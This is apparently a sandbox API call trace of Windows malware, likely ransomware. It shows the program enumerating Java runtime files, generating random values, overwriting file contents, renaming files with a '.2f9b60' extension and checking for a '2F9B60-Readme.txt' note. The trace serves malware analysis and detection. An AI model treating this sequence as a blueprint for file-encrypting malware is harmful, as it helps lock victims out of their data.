(in: hFile=0x1ed0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.312] WriteFile (in: hFile=0x1ed0, lpBuffer=0x421e4d90*, nNumberOfBytesToWrite=0x28ef, lpNumberOfBytesWritten=0x35bbf6d4, lpOverlapped=0x0 | out: lpBuffer=0x421e4d90*, lpNumberOfBytesWritten=0x35bbf6d4*=0x28ef, lpOverlapped=0x0) returned 1 [0140.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdc90 [0140.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdcc0 [0140.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdcc0) returned 1 [0140.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421e4d90) returned 1 [0140.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421e1180) returned 1 [0140.854] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061830) returned 1 [0140.854] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059fb0) returned 1 [0140.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059fb0 [0140.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059150 [0140.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061830 [0140.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdcc0 [0140.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdcc0) returned 1 [0140.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420590b0 [0140.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdcc0 [0140.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdcf0 [0140.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdcf0) returned 1 [0140.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061830) returned 1 [0140.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059150) returned 1 [0140.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x124) returned 0x1b7d64c0 [0140.856] SetFilePointerEx (in: hFile=0x1ed0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0140.856] WriteFile (in: hFile=0x1ed0, lpBuffer=0x1b7d64c0*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x35bbf7f0, lpOverlapped=0x0 | out: lpBuffer=0x1b7d64c0*, lpNumberOfBytesWritten=0x35bbf7f0*=0x124, lpOverlapped=0x0) returned 1 [0140.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059100 [0140.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0140.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266b40 [0140.966] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266b40) returned 1 [0140.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cda0870 [0140.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266b40 [0140.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202669f0 [0140.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202669f0) returned 1 [0140.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0140.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059100) returned 1 [0140.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x65) returned 0xeb290 [0140.967] sprintf (in: _Dest=0xeb290, _Format="%c%c" | out: _Dest="21") returned 2 [0140.967] sprintf (in: _Dest=0xeb292, _Format="%c%c" | out: _Dest="65") returned 2 [0140.967] sprintf (in: _Dest=0xeb294, _Format="%c%c" | out: _Dest="85") returned 2 [0140.967] sprintf (in: _Dest=0xeb296, _Format="%c%c" | out: _Dest="e4") returned 2 [0140.967] sprintf (in: _Dest=0xeb298, _Format="%c%c" | out: _Dest="d6") returned 2 [0140.967] sprintf (in: _Dest=0xeb29a, _Format="%c%c" | out: _Dest="94") returned 2 [0140.967] sprintf (in: _Dest=0xeb29c, _Format="%c%c" | out: _Dest="ef") returned 2 [0140.967] sprintf (in: _Dest=0xeb29e, _Format="%c%c" | out: _Dest="01") returned 2 [0140.967] sprintf (in: _Dest=0xeb2a0, _Format="%c%c" | out: _Dest="bf") returned 2 [0140.967] sprintf (in: _Dest=0xeb2a2, _Format="%c%c" | out: _Dest="08") returned 2 [0140.967] sprintf (in: _Dest=0xeb2a4, _Format="%c%c" | out: _Dest="fd") returned 2 [0140.967] sprintf (in: _Dest=0xeb2a6, _Format="%c%c" | out: _Dest="ea") returned 2 [0140.967] sprintf (in: _Dest=0xeb2a8, _Format="%c%c" | out: _Dest="13") returned 2 [0140.967] sprintf (in: _Dest=0xeb2aa, _Format="%c%c" | out: _Dest="e8") returned 2 [0140.967] sprintf (in: _Dest=0xeb2ac, _Format="%c%c" | out: _Dest="d1") returned 2 [0140.968] sprintf (in: _Dest=0xeb2ae, _Format="%c%c" | out: _Dest="0f") returned 2 [0140.968] sprintf (in: _Dest=0xeb2b0, _Format="%c%c" | out: _Dest="da") returned 2 [0140.968] sprintf (in: _Dest=0xeb2b2, _Format="%c%c" | out: _Dest="81") returned 2 [0140.968] sprintf (in: _Dest=0xeb2b4, _Format="%c%c" | out: _Dest="78") returned 2 [0140.968] sprintf (in: _Dest=0xeb2b6, _Format="%c%c" | out: _Dest="fa") returned 2 [0140.968] sprintf (in: _Dest=0xeb2b8, _Format="%c%c" | out: _Dest="04") returned 2 [0140.968] sprintf (in: _Dest=0xeb2ba, _Format="%c%c" | out: _Dest="44") returned 2 [0140.968] sprintf (in: _Dest=0xeb2bc, _Format="%c%c" | out: _Dest="c7") returned 2 [0140.968] sprintf (in: _Dest=0xeb2be, _Format="%c%c" | out: _Dest="c5") returned 2 [0140.968] sprintf (in: _Dest=0xeb2c0, _Format="%c%c" | out: _Dest="b5") returned 2 [0140.968] sprintf (in: _Dest=0xeb2c2, _Format="%c%c" | out: _Dest="18") returned 2 [0140.968] sprintf (in: _Dest=0xeb2c4, _Format="%c%c" | out: _Dest="c6") returned 2 [0140.968] sprintf (in: _Dest=0xeb2c6, _Format="%c%c" | out: _Dest="97") returned 2 [0140.968] sprintf (in: _Dest=0xeb2c8, _Format="%c%c" | out: _Dest="16") returned 2 [0140.968] sprintf (in: _Dest=0xeb2ca, _Format="%c%c" | out: _Dest="45") returned 2 [0140.968] sprintf (in: _Dest=0xeb2cc, _Format="%c%c" | out: _Dest="12") returned 2 [0140.968] sprintf (in: _Dest=0xeb2ce, _Format="%c%c" | out: _Dest="86") returned 2 [0140.968] sprintf (in: _Dest=0xeb2d0, _Format="%c%c" | out: _Dest="de") returned 2 [0140.968] sprintf (in: _Dest=0xeb2d2, _Format="%c%c" | out: _Dest="7a") returned 2 [0140.968] sprintf (in: _Dest=0xeb2d4, _Format="%c%c" | out: _Dest="34") returned 2 [0140.968] sprintf (in: _Dest=0xeb2d6, _Format="%c%c" | out: _Dest="6c") returned 2 [0140.968] sprintf (in: _Dest=0xeb2d8, _Format="%c%c" | out: _Dest="b3") returned 2 [0140.968] sprintf (in: _Dest=0xeb2da, _Format="%c%c" | out: _Dest="40") returned 2 [0140.968] sprintf (in: _Dest=0xeb2dc, _Format="%c%c" | out: _Dest="55") returned 2 [0140.969] sprintf (in: _Dest=0xeb2de, _Format="%c%c" | out: _Dest="6f") returned 2 [0140.969] sprintf (in: _Dest=0xeb2e0, _Format="%c%c" | out: _Dest="02") returned 2 [0140.969] sprintf (in: _Dest=0xeb2e2, _Format="%c%c" | out: _Dest="d4") returned 2 [0140.969] sprintf (in: _Dest=0xeb2e4, _Format="%c%c" | out: _Dest="8b") returned 2 [0140.969] sprintf (in: _Dest=0xeb2e6, _Format="%c%c" | out: _Dest="1d") returned 2 [0140.969] sprintf (in: _Dest=0xeb2e8, _Format="%c%c" | out: _Dest="60") returned 2 [0140.969] sprintf (in: _Dest=0xeb2ea, _Format="%c%c" | out: _Dest="75") returned 2 [0140.969] sprintf (in: _Dest=0xeb2ec, _Format="%c%c" | out: _Dest="ae") returned 2 [0140.969] sprintf (in: _Dest=0xeb2ee, _Format="%c%c" | out: _Dest="80") returned 2 [0140.969] sprintf (in: _Dest=0xeb2f0, _Format="%c%c" | out: _Dest="21") returned 2 [0140.969] sprintf (in: _Dest=0xeb2f2, _Format="%c%c" | out: _Dest="df") returned 2 [0140.969] RtlInitAnsiString (in: DestinationString=0x35bbf868, SourceString="216585e4d694ef01bf08fdea13e8d10fda8178fa0444c7c5b518c69716451286de7a346cb340556f02d48b1d6075ae8021df" | out: DestinationString="216585e4d694ef01bf08fdea13e8d10fda8178fa0444c7c5b518c69716451286de7a346cb340556f02d48b1d6075ae8021df") [0140.969] RtlAnsiStringToUnicodeString (in: DestinationString=0x35bbf838, SourceString="216585e4d694ef01bf08fdea13e8d10fda8178fa0444c7c5b518c69716451286de7a346cb340556f02d48b1d6075ae8021df", AllocateDestinationString=1 | out: DestinationString="216585e4d694ef01bf08fdea13e8d10fda8178fa0444c7c5b518c69716451286de7a346cb340556f02d48b1d6075ae8021df") returned 0x0 [0140.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1b776cb0 [0140.969] RtlFreeAnsiString (AnsiString="2") [0140.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0xeb290) returned 1 [0140.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda0870) returned 1 [0140.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266b40) returned 1 [0140.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d64c0) returned 1 [0140.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420590b0) returned 1 [0140.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdcc0) returned 1 [0140.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059fb0) returned 1 [0140.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdc90) returned 1 [0140.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ac00) returned 1 [0140.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b0e0) returned 1 [0140.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261b80) returned 1 [0140.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205d5f0 [0140.971] wcscat (in: _Dest=0x4205d5f0, _Source="216585e4d694ef01bf08fdea1" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\216585e4d694ef01bf08fdea1") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\216585e4d694ef01bf08fdea1" [0140.971] wcscat (in: _Dest=0x4205d5f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\216585e4d694ef01bf08fdea1.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\216585e4d694ef01bf08fdea1.2f9b60" [0140.971] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\216585e4d694ef01bf08fdea1.2f9b60", NtPathName=0x35bbf810, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\216585e4d694ef01bf08fdea1.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0140.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x202786b0 [0140.972] NtSetInformationFile (FileHandle=0x1ed0, IoStatusBlock=0x35bbf8b0, FileInformation=0x202786b0, Length=0xaa, FileInformationClass=0xa) returned 0x0 [0144.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202786b0) returned 1 [0144.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fc180) returned 1 [0144.032] NtQueryInformationFile (in: FileHandle=0x1ed0, IoStatusBlock=0x35bbf878, FileInformation=0x35bbf888, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x35bbf878, FileInformation=0x35bbf888) returned 0x0 [0144.032] NtSetInformationFile (FileHandle=0x1ed0, IoStatusBlock=0x35bbf878, FileInformation=0x35bbf888, Length=0x28, FileInformationClass=0x4) returned 0x0 [0144.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d5f0) returned 1 [0144.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776cb0) returned 1 [0144.093] FlushFileBuffers (hFile=0x1ed0) returned 1 [0144.115] CloseHandle (hObject=0x1ed0) returned 1 [0144.116] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59eb0 [0144.117] wcscpy (in: _Dest=0x1ce59eb0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0144.117] wcscat (in: _Dest=0x1ce59eb0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" [0144.117] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\2f9b60-readme.txt")) returned 0x20 [0147.323] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59eb0) returned 1 [0147.324] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b880) returned 1 Thread: id = 2077 os_tid = 0x1390 [0138.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b86e8e0 [0138.370] wcscpy (in: _Dest=0x1b86e8e0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts" [0138.370] wcscat (in: _Dest=0x1b86e8e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\" [0138.370] wcscat (in: _Dest=0x1b86e8e0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\*" [0138.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027c320 [0138.370] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\*", lpFindFileData=0x2027c320 | out: lpFindFileData=0x2027c320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced6460 [0138.373] wcscmp (_String1=".", _String2=".") returned 0 [0138.373] FindNextFileW (in: hFindFile=0x1ced6460, lpFindFileData=0x2027c320 | out: lpFindFileData=0x2027c320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.373] wcscmp (_String1="..", _String2=".") returned 1 [0138.373] wcscmp (_String1="..", _String2="..") returned 0 [0138.373] FindNextFileW (in: hFindFile=0x1ced6460, lpFindFileData=0x2027c320 | out: lpFindFileData=0x2027c320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x12588, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaBrightDemiBold.ttf", cAlternateFileName="LUCIDA~1.TTF")) returned 1 [0138.373] wcscmp (_String1="LucidaBrightDemiBold.ttf", _String2=".") returned 1 [0138.373] wcscmp (_String1="LucidaBrightDemiBold.ttf", _String2="..") returned 1 [0138.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1cf4aa80 [0138.374] wcscpy (in: _Dest=0x1cf4aa80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts" [0138.374] wcscat (in: _Dest=0x1cf4aa80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\" [0138.374] wcscat (in: _Dest=0x1cf4aa80, _Source="LucidaBrightDemiBold.ttf" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\LucidaBrightDemiBold.ttf" [0151.938] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts\\lucidabrightdemibold.ttf")) returned 0x20 [0151.967] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\LucidaBrightDemiBold.ttf", dwFileAttributes=0x20) returned 1 [0151.968] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts\\lucidabrightdemibold.ttf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x25b0 [0151.969] GetFileSizeEx (in: hFile=0x25b0, lpFileSize=0x367dfbe0 | out: lpFileSize=0x367dfbe0*=75144) returned 1 [0151.969] SetFilePointerEx (in: hFile=0x25b0, liDistanceToMove=0x12584, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.969] ReadFile (in: hFile=0x25b0, lpBuffer=0x367dfb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x367dfba8, lpOverlapped=0x0 | out: lpBuffer=0x367dfb60*, lpNumberOfBytesRead=0x367dfba8*=0x4, lpOverlapped=0x0) returned 1 [0152.002] SetFilePointerEx (in: hFile=0x25b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500560 [0152.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500620 [0152.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205006b0 [0152.003] NtQuerySystemTime (in: CurrentTime=0x367dfaa0 | out: CurrentTime=0x367dfaa0*=132462177572086000) returned 0x0 [0152.003] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x10d2b484 [0152.003] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x2e4238e5 [0152.003] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0xd1e9465 [0152.003] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x69e8f621 [0152.003] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x5f3bf0ba [0152.003] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x5f473abf [0152.003] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x5bb82ba4 [0152.003] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x372d7e2f [0152.003] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x2335bb9b [0152.003] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x714d57de [0152.003] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x67e76f6d [0152.003] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x412c2557 [0152.003] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x31e23020 [0152.003] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x3672f611 [0152.003] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x34adb6bb [0152.003] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x7f73147b [0152.003] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x7b4ed81e [0152.003] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x59dfe061 [0152.003] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x4cfdde48 [0152.003] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x59ddc391 [0152.003] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x25388065 [0152.003] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x5a3591e1 [0152.003] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x49dce409 [0152.003] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x493aca74 [0152.003] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x316d9701 [0152.003] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x4fb35833 [0152.003] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x230c6b94 [0152.003] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x3eaef60 [0152.003] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x811df4f [0152.003] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x16265ea9 [0152.003] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x697f7209 [0152.004] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x71d3ed7c [0152.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205006e0 [0152.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868f40 [0152.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500710 [0152.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868f40) returned 1 [0152.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205006b0) returned 1 [0152.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500560) returned 1 [0152.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4259f1d0 [0152.012] SetFilePointerEx (in: hFile=0x25b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.012] ReadFile (in: hFile=0x25b0, lpBuffer=0x4259f1d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x367dfb00, lpOverlapped=0x0 | out: lpBuffer=0x4259f1d0*, lpNumberOfBytesRead=0x367dfb00*=0x3c00, lpOverlapped=0x0) returned 1 [0152.040] SetFilePointerEx (in: hFile=0x25b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058ab0 [0152.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868f40 [0152.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500800 [0152.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500800) returned 1 [0152.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425b2110 [0152.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500800 [0152.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500830 [0152.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500830) returned 1 [0152.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868f40) returned 1 [0152.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058ab0) returned 1 [0152.042] WriteFile (hFile=0x25b0, lpBuffer=0x425b2110, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x367dfb00, lpOverlapped=0x0) [0186.416] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x425b2110) returned 1 [0186.416] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4259f1d0) returned 1 [0186.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1cd97350 [0186.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd973f0 [0186.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59cb0 [0186.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec96e0 [0186.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec96e0) returned 1 [0186.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1cd98020 [0186.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec96e0 [0186.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9710 [0186.419] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9710) returned 1 [0186.419] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59cb0) returned 1 [0186.419] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd973f0) returned 1 [0186.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x122) returned 0x42c20680 [0186.430] SetFilePointerEx (in: hFile=0x25b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.430] WriteFile (in: hFile=0x25b0, lpBuffer=0x42c20680*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x367dfbb0, lpOverlapped=0x0 | out: lpBuffer=0x42c20680*, lpNumberOfBytesWritten=0x367dfbb0*=0x122, lpOverlapped=0x0) returned 1 [0207.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c260 [0207.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0207.167] 